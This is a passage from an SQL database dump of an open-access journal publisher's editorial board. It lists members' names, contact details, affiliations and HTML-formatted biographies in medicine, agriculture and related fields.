style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Dr. A.C. Matin got his Ph.D from University of California in Microbiology (1969). He is serving as the Chair of MS senate task force on posdoctoral affairs (2009- present), Member of MS senate steering committee (2008-present) &amp; Senator of Medical School senate (2006-present). He is a Fellow of the American Academy of Microbiology. He got 16 Honors and Awards which are Star Award in Environmental Protection Agency (1991-1997), Review Committee Member in Accreditation Board for Engineering and Technology (1992) and Foundation for Microbiology Lecturer in American Society for Microbiology (1991-1993). He has authored about 37 Publications that include review articles. His Community &amp; International Work involved in Bacterial antibiotic resistance in space flight, Stanford University; NASA Ames and Nuclear waste remediation.</span></span></p>\r\n\r\n<h3><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><em><strong>Research Interest:</strong></em></span></span></h3>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Cancer research,&nbsp;<a href=\"https://www.omicsonline.org/scholarly/bioprocess-engineering-journals-articles-ppts-list.php\">biomolecualr engineering</a>, biofilms, cellular resistance and virulence, biology of low shear/microgravity, bioremediation, stress promoters, stress sensing,&nbsp;<a href=\"https://www.omicsonline.org/scholarly/bioprocess-and-systems-engineering-journals-articles-ppts-list.php\">systems biology</a>,&nbsp;<a href=\"https://www.omicsonline.org/scholarly/pharmaceutical-bioprocessing-journals-articles-ppts-list.php\">biotechnology</a>.</span></span></p>\r\n',1,'2018-09-25 12:21:52','2018-09-25 12:21:52',1),(307,22,20,'1538021036.jpg','Evija Stumbra Stumberga','evijastumbra@inbox.lv','','Consultant in rheumatology','Editorial board member','Europe','Riga Stradins University','03','<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Evija Stumbra Stumberga is a consultant rheumatologist, neurosonologist and internal medicine specialist. She has completed her postdoctoral studies in the Riga Stradin&rsquo;s University. She has graduated the residency of internal medicine and rheumatology. She participated in the &acute;Erasmus Exchange Program&acute; in the Whytenshaw Hospital, Rheumatology Department, Manchester, United Kingdom in 2011.She has got the AAS degree and had courses in Internal Medicine in Salzburg. She has been specialized in neurosonology, worked as a neurosonologist. She has got the DAAD degree in 2013 and has been worked in the Stroke Unit, Neurosonology department in the Neurologisches Zentrum der Segeberger Kliniken Gruppe in Bad Segeberg, Germany. She has published clinical and research works concerning rheumatoid arthritis and atherosclerosis in reputed journals and has been served as an editorial board member of repute.</span></span></p>\r\n',1,'2018-09-27 09:33:56','2018-09-27 09:33:56',1),(308,31,20,'1538021554.jpg','Robert C Cantu','RCantu@emersonhosp.org','978-369-1386','Director, Service of Sports Medicine','Editorial board member','USA','Dr. Robert C. Cantu Concussion Center','00','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Robert Cantu is a Clinical Professor in the Department of Neurology and Neurosurgery, Clinical Diagnostics and Therapeutics Leader AD and CTE Center, at the Boston University School of Medicine, and Medical Director and Director of Clinical Research, Dr. Robert C. Cantu Concussion Center, Emerson Hospital.&nbsp; He has authored over 436 scientific publications, including 33 books on neurology and sports medicine, in addition to numerous book chapters, peer-reviewed papers, abstracts and free communications, and educational videos. He is section editor for World Neurosurgery and he has served as associate editor of Medicine and Science in Sports and Exercise and Exercise and Sports Science Review, and on the editorial board of The Physician and Sports Medicine, Clinical Journal of Sports Medicine, and Journal of Athletic Training.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr, Cantu serves as Senior Advisor to the NFL Head, Neck and Spine Committee; Section Co-Chair Mackey-White National Football League Players Association Traumatic Brain Injury Committee;&nbsp; Founding member and Medical Director Concussion Legacy Foundation (previously SLI); International Rugby Board Concussion Advisory Group; Adjunct Professor Exercise and Sport Science and Medical Director National Center for Catastrophic Sports Injury Research, University of North Carolina, Chapel Hill, NC; Senior Advisor Brain Injury Center and Adjunct Staff, Children&rsquo;s Hospital, Boston,&nbsp; Vice President Chair Scientific Advisory Committee National Operating Committee on Standards for Athletic Equipment (NOCSAE), Chief of Neurosurgery Service, and Director of Sports Medicine at Emerson Hospital in Concord, Massachusetts.&nbsp;&nbsp; He also consults with numerous NFL, NHL and NBA teams.</span></p>\r\n',1,'2018-09-27 09:42:34','2018-09-27 09:42:57',1),(309,23,20,'1538022127.jpg','Ashraf Abdelsalam Mohamedei Metwally','ashraf.elmetwally@gmail.com','966594800755','ASSOCIATE PROFESSOR AND CONSULTANT OF EPIDEMIOLOGY AND BIOSTATISTICS','Editorial board member','United Arab Emirates','King Saud Bin Abdulaziz University for Health Sciences','08','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Ashraf El-Metwally is an internationally recognized medical doctor and scientist with a PhD in Epidemiology and Biostatistics (from University of Tampere, Finland). He is best known as a docent of Epidemiology in the University of Tampere (Finland). After completion of his degree, he was appointed as an epidemiologist at the Rheumatism Foundation Hospital in Finland from 2003-2005. In 2006, Dr. Ashraf El-Metwally joined as a Lecturer in the Department of Epidemiology and Bio-statistics at University of Aberdeen, UK. He also served as a Faculty in Health Sciences, Higher Colleges of Technology, Sharjah, UAE from 2008-2011.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He was then appointed as an assistant professor in the Department of Epidemiology and Biostatistics in 2011, while holding an honorary lecturer position at the department of Public Health-University of Aberdeen in the UK.&nbsp; Dr. Ashraf El-Metwally has supervised more than 20 MPH projects. He now serves as an Associate Professor and Director of MPH Epidemiology Program at the College of Public Health and Health Informatics, King Saud Bin Abdulaziz University for Health Sciences, Riyadh, Saudi Arabia. Dr. Ashraf is also a renowned qualified instructor in Public health sciences, at the University of Roehampton, UK.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">His research experience focuses on clinical trials, systematic reviews, meta-analysis, cross sectional studies, with scientific interest in wide range of topics such as pain, musculoskeletal disorders, rheumatic diseases, dental disorders, digital health research, communicable &amp; non-communicable diseases and Alternative medicine. Dr Ashraf has published more than 60 research articles in prominent peer reviewed international journals, presented papers in many national and international conferences, and has co-authored two books, five book chapters, and commenced several grant funded research projects.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Currently, Dr. Ashraf El-Metwally is an active member of Editorial Board and review committees of several international medical journals including European Journal of Pain, Primary Care Epidemiology and Global Health &amp; Annuals of Rheumatic Diseases. He is also an &ldquo;Editor in chief&rdquo; of the Journal of Health Informatics in Developing Countries.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Ashraf El-Metwally&rsquo;s research contribution and proficient research publications are all testaments of his extraordinary talents that can be evidenced by more than 1000 google scholars citation, the quality of the published articles; that has earned him multiple and&nbsp; pioneering awards (most notably from British pain society - Young Investigator Award (2006) and First Prize for The Best Submitted Paper and Presentation (2007) from British society of rheumatology), as well as membership with reputable research and public health organizations, which named him one of the &ldquo;Most Influential People in the World&rdquo; in Marquis Who&rsquo;s Who -2009.</span></p>\r\n',1,'2018-09-27 09:52:06','2018-09-27 09:52:06',1),(310,20,20,'1538378786.jpg','Jiulin Wang','WangJ@macewan.ca','780-497-4747','Assistant Professor','Editorial board member','Canada','Grant MacEwan University','11','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Jiulin Wang has both MD. and MSc. Degrees in TCM from Nanjing University of Traditional Chinese Medicine, where he was also a faculty member. He has taught TCM/Acupuncture in many famous TCM universities from China, US, and Canada. Currently, Dr. Jiulin Wang is an assistant professor of the Acupuncture Program at Grant MacEwan University. He is also a founding member of Bethune Oriental Medicine Center, where he provides private TCM/Acupuncture service to the public. Dr. Jiulin Wang is dedicated to biomedical research. He finished two terms of post-doctoral fellowship training in the Neuroscience Department of Louisiana State University and Oregon Health Science University, USA. He has partnered with the Pulmonary Research Centre, University of Alberta, to finish an Acupuncture research project on COPD. He has published more than 30 professional papers and books.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Since 2001, Jiulin has been an active member of the Acupuncture and TCM profession in Alberta. In the Acupuncture-TCM Society of Alberta (ASA), he was an executive and also secretary. Since 2007, he has served as the CAAA interim council. In 2010, 2012 and 2014, he was elected as a CAAA council member, serving as secretary and treasurer separately. He works closely with other council members to promote TCM/Acupuncture profession in Alberta.</span></p>\r\n',1,'2018-10-01 12:56:25','2018-10-01 12:57:43',1),(311,20,20,'1538379224.jpg','Soren Ventegodt','ventegodt@livskvalitet.org','45 20 66 67 66','Director ','Editorial board member','Denmark','Quality of Life Research Center','12','<p><span style=\"font-family:Times New Roman,Times,serif\">Soren Ventegodt was born in 1961. His father was a historian specialised in maritime history and co-editor of the large Gyldendal Danish Encyclopaedia, his mother a nurse with a master degree in French. When S&oslash;ren was 10 years old his younger brother Jesper died in a terrible drowning accident, which awakened S&oslash;ren&rsquo;s spiritually and he soon became interested in philosophy, science, sport and arts. At age 11 years, he started to write poetry, play music and read books on chemistry and at age 13 years he had his own chemistry lab in the family basement, which he continued to develop though his teenage years.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Gifted with a special talent for science he entered the University of Copenhagen at age 18 years and after studying chemistry, philosophy and finally medicine, he entered the research field of theoretical biology. During his last years at the university he developed a highly controversial theory of quality of life (QOL) and the state of consciousness as the primal factors causing disease including cancer. His research in quality of life soon became popular with the general public and in 1992 the Pharmacist Foundation of 1991 awarded him, while still a medical student, a grant of 600,000 Euro for his research in quality of life and health. The University Hospital in Copenhagen (Rigshospitalet) and the late pediatric professor Bengt Zachau-Christiansen helped him to establish the Quality of Life Survey using the Copenhagen Perinatal Birth Cohort 1959-61 as the sample for the research. This way the Quality of Life Research Center (QOLRC) was established in 1993 at the University Hospital. In 1994 this institution became one of the first independent QOL Research Centers in Northern Europe and moved to its present location in the center of old Copenhagen with S&oslash;ren as its director.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">In 1997 the Research Clinic for Holistic Medicine was established. More than 200 peer reviewed scientific papers have now been published, making the QOLRC one of the worlds most productive centres of new medical knowledge in the field of clinical holistic medicine &ndash; &ldquo;quality of life as medicine&rdquo;. In 2003 the Scandinavian Research Institute for Working Life Quality (NFA) was established in Oslo, Norway based on the ideas, books and materials produced by Soren Ventegodt. In 2004 the Nordic School of Holistic Medicine was established at the QOLRC. He also participated in establishing the International Society for Holistic Health (ISHH) in 2004. In 2006 he became director of Nordic Campus, Interuniversity College, Graz.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Soren Ventegodt is today the author of more than 10 popular books (some of them best sellers) and hundreds of papers and articles in magazines and scientific journals. He is often used as a speaker on QOL and holistic health throughout the Nordic countries. Through more than 1,000 presentations and lectures at most of the universities and large companies in Denmark he has made 100,000 Danes understand the fundamental quality of life concepts. After more than 1,000 presentations in the national medias, from the nine a clock news to national TV- and radio programs and the front pages of the leading news papers during the past 14 years, the Danish society at large now seems to have assimilated the key message: that you can improve your QOL and thus prevent disease and even improve your health and ability if you are sick, unhappy or poorly functioning.</span></p>\r\n',1,'2018-10-01 13:03:43','2018-10-01 13:03:43',1),(312,35,20,'1541854643.jpg','Zhao Zhang','zhangzhao@bnu.edu.cn','86-10-58800409','Professor,Department of Life and Environment Sciences','Editorial board member','China','Beijing Normal University','38','',1,'2018-10-02 20:15:12','2018-11-10 18:27:22',1),(313,25,20,'1538492019.png','John McManus','JMCMANUS@augusta.edu','(210) 240-6995','Professor & EMS Fellowship Director','Editorial board member','USA','Augusta University','04','<p><span style=\"font-family:Times New Roman,Times,serif\">COL (ret) John G. McManus retired in 2012 from the United States Army with a combined Federal service record of over 24 years as a Medical Corps Officer and decorated combat veteran. After graduating from North Georgia Senior Military College in 1988 with a B.S. in chemistry on a full National Guard Scholarship, Dr. McManus attended his M.D. training at the Medical College of Georgia, (Augusta University) serving as student government president his final year in 1992. He then completed a 4 year emergency medicine residency in 1999 at Madigan Army Medical Center and University of Washington, an EMS fellowship at Oregon Health and Sciences University and a Master Degree in Clinical Research. Furthermore, he received his MBA in July 2012 from Brenau University. Dr. McManus served on active duty in numerous leadership assignments and deployments (Bosnia, Kuwait, Iraq) throughout the world. He had the honor to serve as the Chief Medical Officer of the last Combat Support Hospital (47th CSH) in Baghdad Iraq in 2011. His other prior leadership assignments include: Director for the U.S. Army&rsquo;s EMS Department and also the Director for the Center of Pre-deployment Medicine, at the U.S. Army Medical Department Center and School, Fort Sam Houston, Texas (equivalent to Associate Deans). Dr. McManus also founded and served as the inaugural program director for three EMS fellowship programs: the U.S. Army&#39;s first emergency medicine subspecialty fellowship, at the San Antonio Military Medical Center (2007-11), the University of Texas Health Science Center San Antonio (2010-11) and currently at Augusta University (2013-present). He also currently serves as a professor and EMS Fellowship Director in the Department of emergency medicine at Augusta University and the Region 6 EMS Medical Director. Dr. McManus serves as medical director for Southstar EMS and Georgia Bureau of Investigation. He is also the the current Speaker for the national emergency medical society ACEP (American College of Emergency Physicians).</span></p>\r\n\r\n<p>&nbsp;</p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">COL (ret) McManus is a physician executive that possesses extensive and progressively responsible experience that provided clinical leadership and medical management in both the Department of Defense and civilian medical community. He possesses a thorough understanding of academic and research development practices, clinical training as well as deployment logistics for medical devices and products. His research focus included trauma and combat casualty care research at the U.S. Army Institute of Surgical Research and in Iraq and Afghanistan focusing on pre-hospital, disaster and critical care medicine. He is an internationally recognized researcher and speaker with over 500 presentations and accomplished author of over 100 (50 peer) scientific publications to include editor of 5 medical textbooks. He has developed medical educational experiences for 1000&rsquo;s of medical personnel for the military and ACGME. Just a few of his numerous awards include: the Legion of Merit, the National Emergency Medicine teaching award and the outstanding Army Medical Department LTC of the year by the U.S. Army Surgeon General in 2006.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He is the father of 7 year-old twins Aedan and Aoife (pronounced &ldquo;eefa&rdquo; &ndash; it&rsquo;s Gaelic)</span></p>\r\n',1,'2018-10-02 20:23:42','2018-10-02 20:23:42',1),(314,31,20,'1538637652.jpg','David N. Taylor','dtaylor@txchiro.edu','281-998-5718','Associate Professor of Clinical Science','Editorial board member','USA','Texas Chiropractic College','02','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. David Taylor obtained his DC degree from National University of Health Sciences. Neurology Residency at Logan College of Chiropractic, &amp; Diplomate from the American Board of Chiropractic Neurology. Awarded a Fellow from the International Academy of Chiropractic Neurology and the International College of Chiropractic Neurology, he currently is on the executive board.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He is the founder and president of Multimed Center, Inc, for 30 years.&nbsp; a multidisciplinary practice that employed chiropractors, anesthesiologist/pain specialists, physiatrist, osteopath, physical therapist, physical therapy assistants, massage therapists, acupuncturists, and psychologists. Dr. Taylor was also the president of Healthcare Review &amp; Consulting, Inc., a medicolegal consulting company, and the owner of Pioneer Neurodiagnostics, a neurological testing and consulting company. He was appointed by two governors to serve on the Massachusetts Board of Chiropractic Examiners. He has served on the board of directors of the Mass. Chiropractic Society, and as examiner and test evaluator for the National Board of Chiropractic Examiners. A fellow of the Federation of Chiropractic Licensing Boards, he also served Spine Managed Care as chairman of credentialing and quality improvement &amp; as consultant to many insurers. He has published numerous research papers in various peer reviewed journals and co-authored the text &ldquo;Chiropractic Hospital Privileges&rdquo; and lectured internationally. Past clinic director at Texas Chiropractic College, he currently is an associate professor of clinical sciences and continues to serve as adjunct professor of many other chiropractic colleges.</span></p>\r\n',1,'2018-10-04 12:50:52','2018-10-04 12:50:52',1),(315,26,20,'1538721334.jpg','Eirini Apostolidou','Eirini_Apostolidou@brown.edu','646-725-6835','Department of Medicine and Cardiovascular Disease','Editorial board member','USA','Lifespan Cardiovascular Institute','03','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">I was born and raised in a small town in Greece, Kozani. I received my medical degree from the School of Medicine- Aristotle University of Thessaloniki, in Greece and graduated as a valedictorian. After moving to the United States in 2008, I worked as a research associate at the Center of Interventional Vascular Therapy at Columbia University Medical Center in New York. I completed my residency in internal medicine at Drexel College of Medicine/ Hahnemann University Hospital in Philadelphia and my cardiovascular fellowship at the Warren Alpert Medical School of Brown University. During my fellowship, I completed advanced training in echocardiography and concurrently enrolled in the Master of Science in Clinical and Translational Research at the School of Public Health, Brown University. I am board-certified in internal medicine, cardiovascular disease, echocardiography, nuclear cardiology and peripheral vascular imaging. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">I joined the Cardiovascular Institute at Rhode Island and Miriam Hospitals on August 2016 as a noninvasive cardiologist and contribute to both inpatient and outpatient cardiac services. I am an Assistant Professor of medicine at the Warren Alpert Medical School of Brown University and I am actively involved in the teaching of fellows, residents and medical students. I received the Dean&rsquo;s Excellence in Teaching Award in 2017. My research focuses on cardiac imaging and novel techniques for treatment of valvular heart disease (transcatheter aortic valve replacement and mitral clip). My scientific work has been published in highly respected cardiology journals.&nbsp; I am a Fellow of the American College of Cardiology and I have been invited as an author in textbook chapters and educational material.</span></p>\r\n',1,'2018-10-05 12:05:33','2018-10-05 12:05:33',1),(316,24,20,'1538721699.jpg','Kexin Liu','kexinliu@dlmedu.edu.cn','86-411-86110407','Department of Clinical Pharmacology','Editorial board member','Japan','Dalian Medical University','06','<p><span style=\"font-family:Times New Roman,Times,serif\">Kexin Liu received his B.S. degree in Clinical Medicine and M.S. degree in Pharmacology from Dalian medical University in China and Ph. D. degree in Pharmacy in The University of Tokyo (Laboratory of Yuichi Sugiyama, Department of Pharmaceutics, Faculty of Pharmaceutical Sciences) in Japan. The focus of his research is on the molecular pharmacokinetics of transport in liver, intestine, kidney as well as transporter-mediated DDI and MDR.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">&nbsp;Prof. Kexin Liu is a co-author of more than 250 publications in international journals and a first or corresponding author in the famous journals such as Hepatology, Biochem Pharmacol, Drug Metab Dispos, J Pharmacol Exp Ther, Am J Physiol, Pharm Res, Toxical Appl Pharm, Eur J Pharm Sci and 50 book chapters as well as 30 review articles. He serves as a vice president of CSSX from 2005 and a dean in College of Pharmacy in Dalian Medical University from 2004.2-2015</span></p>\r\n',1,'2018-10-05 12:11:39','2018-10-05 12:11:39',1),(317,31,20,'1539009393.jpg','Michael Naafs','naafs.healthconsultancy@gmail.com','31681589079','Endocrinologist','Editorial board member','Netherlands','Naafs Health Consultancy','12','<p><span style=\"font-family:Times New Roman,Times,serif\">Michael A.B. Naafs is a Dutch internist-endocrinologist with a long clinical career in internal medicine and endocrinology .</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">His Ph.D Endocrinology was obtained at Leiden University (1988) and focused on the renal end-organ resistance to PTH (Parathormone) infusion in normo-and hypercalcaemic patients with solid tumors secreting a PTH-like factor.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Other area&rsquo;s of interest are clinical&nbsp; pharmacology where he was in the front of clinical research&nbsp; of transdermal nitroglycerin patches.(1984) Recently he participated in the standard book project&nbsp; &ldquo;Drug Discovery and Evaluation: Methods in Clinical Pharmacolgy &ldquo;Eds Hock.F.J,Gralinski M.R&nbsp; 2nd Edition,,2017,Springer Verlag, providing the section &ldquo;Pharmacodynamic Evaluation: Endocrinology &ldquo;.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">In infectious medicine he was one of the first to report about HIV-2 infection (1990) Experience in HIV,MDRTB and&nbsp; tropical Infectious medicine was acquired during a one year stay at Nelson Mandela Academic Hospital,Umthata,South Africa.( 2008).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">At present he works as an independent health consultant (Naafs International Health Consultancy ) and as a Medical &nbsp;Writer. Michael is an editorial board member of a number open access journals and the author of tenfolds of publications.</span></p>\r\n',1,'2018-10-08 20:06:33','2018-10-08 20:06:33',1),(318,24,20,'1539631309.jpg','Luigi Laino','luigilaino@yahoo.it','','Professor','Editorial board member','Italy',' LUMSA University','13','',1,'2018-10-16 00:51:49','2018-10-16 00:51:49',1),(319,31,20,'1539631634.jpg','Henry Heard','heard_hh@mercer.edu','770-886-8903','Clinical Assistant Professor, Physician Assistant Department','Editorial board member','Georgia','Mercer University','13','<p><span style=\"font-family:Times New Roman,Times,serif\">My name is Henry Heard, I am an Clinical Assistant Professor at the Mercer University Physician Assistant Program with five plus years in academia and 40 plus years as a clinician.&nbsp; I hold a doctor of health science degree, a master of physician assistant studies, a master of military study, a baccalaureate in physician assistant, and an associate in nursing degree.&nbsp; I practiced medicine as a physician assistant in orthopedic surgery for 15 years, primarily in sports medicine, total joint replacement, and general orthopedics.&nbsp; I have published several articles on orthopedic/sports medicine topics, have collaborated with colleagues in physical therapy to write ongoing continuing medical education products, and have recently presented at the Physician Assistants in Orthopedic Surgery annual meeting.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">My research interests lie not just in clinical orthopedic and physical therapy medicine but in finding ways to deliver better orthopedic care, increasing utilization of physician assistants in orthopedic care, and developing methods to allow patients better access to medical care.</span></p>\r\n',1,'2018-10-16 00:57:17','2018-10-16 00:57:17',1),(320,22,20,'1539757914.jpg','Kai Fu','kafu7690@uni.sydney.edu.au','61 0468476117','Department of Orthopaedics','Editorial board member','Australia','University of Sydney','03','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Kai Fu graduated from West China Medical School, Sichuan University in China and got MBBS degree in 2013. In 2016, he got the Master of Surgery in the Department of Orthopedics in Shanghai Jiao Tong University.&nbsp; Kai is now pursuing his PhD degree in The University of Sydney. His research is now focused on clinical research of osteoarthritis especially hip osteoarthritis pain; and also translational research in orthopaedic surgery area including hand surgery, joint replacement and spinal cord injury. Besides, Dr. Kai Fu is learning and doing many big data analysis using machine learning methods.</span></p>\r\n',1,'2018-10-17 12:01:29','2018-10-17 12:01:53',1),(321,31,20,'1539758128.jpg','Hironobu Ihn','ihn-der@kumamoto-u.ac.jp','','Vice President, Kumamoto University Hospital,Professor & Chairman, Department of Dermatology & PlasticSurgery, Faculty Life Sciences','Editorial board member','Japan','Kumamoto University','08','<p><span style=\"font-family:Times New Roman,Times,serif\">Prof. Hironobu Ihn was born in 1964 at Kobe, Japan and graduated from University of Tokyo in 1990. He became assistant professor, Department of Dermatology, Faculty of Medicine, University of Tokyo in 1990, and worked as the research fellow in Division of Rheumatology &amp; Immunology, Medical University of South Carolina, SC, USA between 1994 and 1997. He worked as the lecturer, Department of Dermatology, Faculty of Medicine between 2001 and 2005 and became the associate Professor, Department of Dermatology, Faculty of Medicine, University of Tokyo. He was elected as the professor &amp; Chairman, Department of Dermatology &amp; Plastic Surgery, Faculty Life Sciences, Kumamoto University in 2005 and became the Vice President, Kumamoto University Hospital in 2013.<br />\r\nHe obtained Japanese Society of Connective Tissue Research Award in 2001, Japanese Society of Investigative Dermatology Award in 2005, and Japan Rheumatism Foundation Award in 2006.</span></p>\r\n\r\n<h3><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research Interest:</strong></span></h3>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Hair transplantion, Hair Loss in Women, Scarring Alopecia, Alopecia Areata.</span></p>\r\n',1,'2018-10-17 12:05:27','2018-10-17 12:08:20',1),(322,31,20,'1539758634.jpg','Sarwat Sultan','sarwatsultan@hotmail.com','','Chairperson,Department of Applied Psychology','Editorial board member','Pakistan','Bahauddin Zakariya University Multan','15','<p><span style=\"font-family:Times New Roman,Times,serif\">Sarwat Sultan Chairperson, Department of Applied Psychology, Bahauddin Zakariya University Multan-Pakistan completed post doctorate from Curtin University, Australia in 2013. She has 85 research publications; 80 oral presentations in conferences, one book published in Germany to her credit and has supervised more than 300 dissertations. She is a distinguished teacher having experience of 15 years. She is also the HEC approved supervisor for the Ph.D scholars in the subject of Psychology. She is a regular member of APA. At present she is also working as the Vice President of Pakistan Psychological Association. </span></p>\r\n',1,'2018-10-17 12:13:53','2018-10-17 12:13:53',1),(323,22,20,'1541442748.jpg','Varun Gupta','drvarun1234@gmail.com','919654450789','orthopaedics Department','Editorial board member','India','Dr. Baba saheb ambedkar hospital','05','',1,'2018-11-06 00:02:28','2018-11-06 00:02:28',1),(324,31,20,'1541443522.jpg','George K. Paraskevas ','g_paraskevas@yahoo.gr','6974011290','Department of Anatomy, Faculty of Medicine','Editorial board member','Greece','Aristotle University of Thessaloniki','14','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Dr George K. Paraskevas born in Greece and works as Associate Professor of Anatomy at Department of Anatomy, Medical School, Aristotle University of Thessaloniki (AUTH), Thessaloniki, Greece. He received the Medical degree from Medical School, Aristotle University of Thessaloniki, attained the Ph.D. degree in 2000 (degree: excellent) and gained full qualification as specialist in orthopaedic surgery in 2005. In 2005 was appointed as Postdoctoral Lecturer at Department of Anatomy, AUTH and in 2010, G.K.Paraskevas served as Assistant Professor at the Department of Anatomy in Medical School of Aristotle University of Thessaloniki, Greece and since 2014 serves as Associate Professor.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><u><strong><span style=\"color:black\">Research and Scientific Fields of Interest:</span></strong></u></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\"><span style=\"color:black\">Surgical anatomy and embryology of gastrointestinal tract, Congenital anomalies of bones and muscles, Entrapment syndromes of nerves and neuropathies, Variational anatomy of vascular system, Trauma and surgery, History of Anatomy, Anatomical nomenclature, Anthropometric studies</span></span></span></p>\r\n',1,'2018-11-06 00:15:21','2018-11-06 00:17:05',1),(325,35,20,'1541444723.png','Yasin Ozdemir','yasin.ozdemir@tarim.gov.tr','','Department of Food Technologies','Editorial board member','Turkey','Ataturk Central Horticultural Research Institute','39','<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#333333\">Dr. Yasin Ozdemir&nbsp;has been the research scientist 2007&minus;present in the Department of Food Technologies, Ataturk Central Horticultural Research Institute. He was also an auditor of &#39;Food Safety and Standards&rsquo; 2004&minus;2007 in the Yalova Agriculture Ministry Office, Turkey. He has 1.st Natinal Olive Oscar Award for his innovative olive technology research project at 2015.</span></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><u><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#333333\">Research Interest:</span></strong></span></span></u></p>\r\n\r\n<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#333333\">His research program involves: Eco-friendly food technology, tble olive technology, new fruit and vegetable selectin works for final step of breeding project, new food technologies, oive oil, food safety and functional foods, probiotic foods</span></span></span></p>\r\n',1,'2018-11-06 00:35:22','2018-11-06 00:35:22',1),(326,35,20,'','Rasmia Sayed Sayed Darwesh','darweshssrasmia@gmail.com','01004243215','Horticulture department, Ornamental department','Editorial board member','Egypt','Cairo University','40','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Rasmia Sayed Sayed Darwesh&nbsp;&nbsp; has completed Ph.D at the age of 40 years from Cairo University and postdoctoral studies from Agriculture Research Center. She has published more than 25 papers in reputed journals and serving as an editorial board member of repute. </span></p>\r\n',1,'2018-11-06 00:39:49','2018-11-06 00:39:49',1),(327,35,20,'1541611344.jpg','Bijan Abadi','abadi@maragheh.ac.ir','9837252319','Department of Biosystem Engineering, Agricultural College','Editorial board member','Iran','University of Maragheh','41','<p><span style=\"font-family:Times New Roman,Times,serif\">Bijan Abadi is an assistant Prof. at the University of Maragheh. Iran. He received his PHD in agricultural Extension and education from the University of Shiraz, Iran, 2008-2013. His research interests are agricultural development, agricultural sustainability, the optimal use of agricultural inputs, soft systems in agriculture, and medicinal plants cultivation. After his graduation, he involved in research and teaching. He authored the book &ldquo;Cognition and Thinking of Sustainable Agricultural Extension and rural Development&rdquo;. Moreover, he published articles in the <em>Azarian Journal of Agriculture</em> and <em>Iranian Agricultural Extension and Education Journal</em>, and <em>Rangeland Ecology and Management</em>. He was a chief executive of the research project, aiming at investigating how environmental NGOs play a role in changing farmers&rsquo; water use behavior to revive the ecosystem of the Urmia Lake. So far, he is a chief executive of the research project to examine how to extend the cultivation of medicinal plants in agricultural systems.</span></p>\r\n',1,'2018-11-07 22:50:20','2018-11-07 22:52:23',1),(328,35,20,'1541611721.jpg','Ahmed Abdel-Wahab Enab','drahmed_enab@yahoo.com','20 (100) 5355282','Professor of poultry breeding and genetics','Editorial board member','Egypt','Minufiya University','42','',1,'2018-11-07 22:58:41','2018-11-07 22:58:41',1),(329,35,20,'1541611947.jpg',' Zakaria Fouad Fawzy Hassan','zakaria6eg@gmail.com','201000213127','Professor in Agriculture and Biological Division','Editorial board member','Egypt','National Research Centre','43','<p><span style=\"font-family:Times New Roman,Times,serif\">Zakaria Fouad Fawzy - Professor - National Research Centre and Assessor &nbsp;in Egyptian Accreditation Council &nbsp;He is the first Egyptian researcher attended of the talented young scientist program in China. He got an opportunity for more than two international projects in Egypt as a principal investigator about Climate Changes Issues in China and Egypt. Dr Zakaria is professor in the Agriculture and Biological Division, National Research centre since 2013. Also, he is Assessor in the Egyptian Accreditation Council. Dr Zakaria is Former President of the Youth Scientific Research Association. He was attended many scholarships and fellowships such as , scholarship &ldquo; PostDoctor &ldquo; in china from 2011 to 2012 and fellowship &ldquo; Talented Young Scientists Program&rdquo; in China from 2014 to 2015. He created about four Memorandum of Understanding &ldquo;MoU&rdquo; and Memorandum of Agreement &ldquo;MoA&rdquo; between National Research Centre and other international scientific organization such as &ndash; Institute of Geographic Sciences and Natural Resources Research- Chinese Academy of Sciences and Beijing Institute of Technology- Ministry of Science and Technology &ndash; China.&nbsp; He is a member in many scientific organizations and acts as reviewer and referee as well as board member in the field of organic agriculture and climate changes issues for different national and international journals and 